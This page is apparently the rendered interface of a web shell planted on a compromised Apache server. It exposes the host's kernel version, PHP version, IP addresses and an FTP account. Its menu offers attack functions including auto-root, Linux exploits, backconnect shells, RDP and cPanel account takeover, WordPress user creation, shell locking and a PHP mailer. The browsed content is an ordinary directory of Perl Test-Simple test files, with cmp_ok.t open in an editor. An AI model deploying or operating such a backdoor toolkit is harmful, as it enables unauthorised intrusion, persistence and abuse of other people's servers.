Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Test-Simple /
t /
Legacy /
[ HOME SHELL ]
Name
Size
Permission
Action
Bugs
[ DIR ]
drwxr-xr-x
Builder
[ DIR ]
drwxr-xr-x
Regression
[ DIR ]
drwxr-xr-x
Simple
[ DIR ]
drwxr-xr-x
Test2
[ DIR ]
drwxr-xr-x
Tester
[ DIR ]
drwxr-xr-x
subtest
[ DIR ]
drwxr-xr-x
00test_harness_check.t
764
B
-rw-r--r--
01-basic.t
90
B
-rw-r--r--
478-cmp_ok_hash.t
923
B
-rw-r--r--
BEGIN_require_ok.t
463
B
-rw-r--r--
BEGIN_use_ok.t
388
B
-rw-r--r--
More.t
5.1
KB
-rw-r--r--
auto.t
598
B
-rw-r--r--
bad_plan.t
495
B
-rw-r--r--
bail_out.t
851
B
-rw-r--r--
buffer.t
444
B
-rw-r--r--
c_flag.t
458
B
-rw-r--r--
capture.t
488
B
-rw-r--r--
check_tests.t
2.38
KB
-rw-r--r--
circular_data.t
1.17
KB
-rw-r--r--
cmp_ok.t
1.75
KB
-rw-r--r--
depth.t
383
B
-rw-r--r--
diag.t
1.39
KB
-rw-r--r--
died.t
889
B
-rw-r--r--
dont_overwrite_die_handler.t
515
B
-rw-r--r--
eq_set.t
562
B
-rw-r--r--
exit.t
3.17
KB
-rw-r--r--
explain.t
582
B
-rw-r--r--
explain_err_vars.t
122
B
-rw-r--r--
extra.t
1.11
KB
-rw-r--r--
extra_one.t
910
B
-rw-r--r--
fail-like.t
1.56
KB
-rw-r--r--
fail-more.t
10.55
KB
-rw-r--r--
fail.t
1.22
KB
-rw-r--r--
fail_one.t
873
B
-rw-r--r--
filehandles.t
290
B
-rw-r--r--
fork.t
456
B
-rw-r--r--
harness_active.t
1.43
KB
-rw-r--r--
import.t
244
B
-rw-r--r--
is_deeply_dne_bug.t
887
B
-rw-r--r--
is_deeply_fail.t
11.52
KB
-rw-r--r--
is_deeply_with_threads.t
1.37
KB
-rw-r--r--
missing.t
1.08
KB
-rw-r--r--
new_ok.t
705
B
-rw-r--r--
no_log_results.t
260
B
-rw-r--r--
no_plan.t
840
B
-rw-r--r--
no_tests.t
823
B
-rw-r--r--
note.t
416
B
-rw-r--r--
overload.t
2.13
KB
-rw-r--r--
overload_threads.t
1.15
KB
-rw-r--r--
plan.t
474
B
-rw-r--r--
plan_bad.t
1.05
KB
-rw-r--r--
plan_is_noplan.t
404
B
-rw-r--r--
plan_no_plan.t
794
B
-rw-r--r--
plan_shouldnt_import.t
294
B
-rw-r--r--
plan_skip_all.t
190
B
-rw-r--r--
require_ok.t
786
B
-rw-r--r--
run_test.t
4.13
KB
-rw-r--r--
simple.t
200
B
-rw-r--r--
skip.t
1.92
KB
-rw-r--r--
skipall.t
481
B
-rw-r--r--
strays.t
480
B
-rw-r--r--
tbm_doesnt_set_exported_to.t
457
B
-rw-r--r--
thread_taint.t
122
B
-rw-r--r--
threads.t
616
B
-rw-r--r--
todo.t
3.28
KB
-rw-r--r--
undef.t
1.95
KB
-rw-r--r--
use_ok.t
2.29
KB
-rw-r--r--
useing.t
365
B
-rw-r--r--
utf8.t
1.49
KB
-rw-r--r--
versions.t
503
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cmp_ok.t
#!/usr/bin/perl -w use strict; use warnings; use lib 't/lib'; require Test::Simple::Catch; my($out, $err) = Test::Simple::Catch::caught(); local $ENV{HARNESS_ACTIVE} = 0; require Test::Builder; my $TB = Test::Builder->create; $TB->level(0); sub try_cmp_ok { my($left, $cmp, $right, $error) = @_; my %expect; if( $error ) { $expect{ok} = 0; $expect{error} = $error; } else { $expect{ok} = eval "\$left $cmp \$right"; $expect{error} = $@; $expect{error} =~ s/ at .*\n?//; } local $Test::Builder::Level = $Test::Builder::Level + 1; my $ok; eval { $ok = cmp_ok($left, $cmp, $right, "cmp_ok"); }; $TB->is_num(!!$ok, !!$expect{ok}, " right return"); my $diag = $err->read; if ($@) { $diag = $@; $diag =~ s/ at .*\n?//; } if( !$ok and $expect{error} ) { $diag =~ s/^# //mg; $TB->like( $diag, qr/\Q$expect{error}\E/, " expected error" ); } elsif( $ok ) { $TB->is_eq( $diag, '', " passed without diagnostic" ); } else { $TB->ok(1, " failed without diagnostic"); } } use Test::More; Test::More->builder->no_ending(1); require MyOverload; my $cmp = Overloaded::Compare->new("foo", 42); my $ify = Overloaded::Ify->new("bar", 23); my @Tests = ( [1, '==', 1], [1, '==', 2], ["a", "eq", "b"], ["a", "eq", "a"], [1, "+", 1], [1, "-", 1], [$cmp, '==', 42], [$cmp, 'eq', "foo"], [$ify, 'eq', "bar"], [$ify, "==", 23], [1, "=", 0, "= is not a valid comparison operator in cmp_ok()"], [1, "+=", 0, "+= is not a valid comparison operator in cmp_ok()"], ); plan tests => scalar @Tests; $TB->plan(tests => @Tests * 2); for my $test (@Tests) { try_cmp_ok(@$test); }
Close
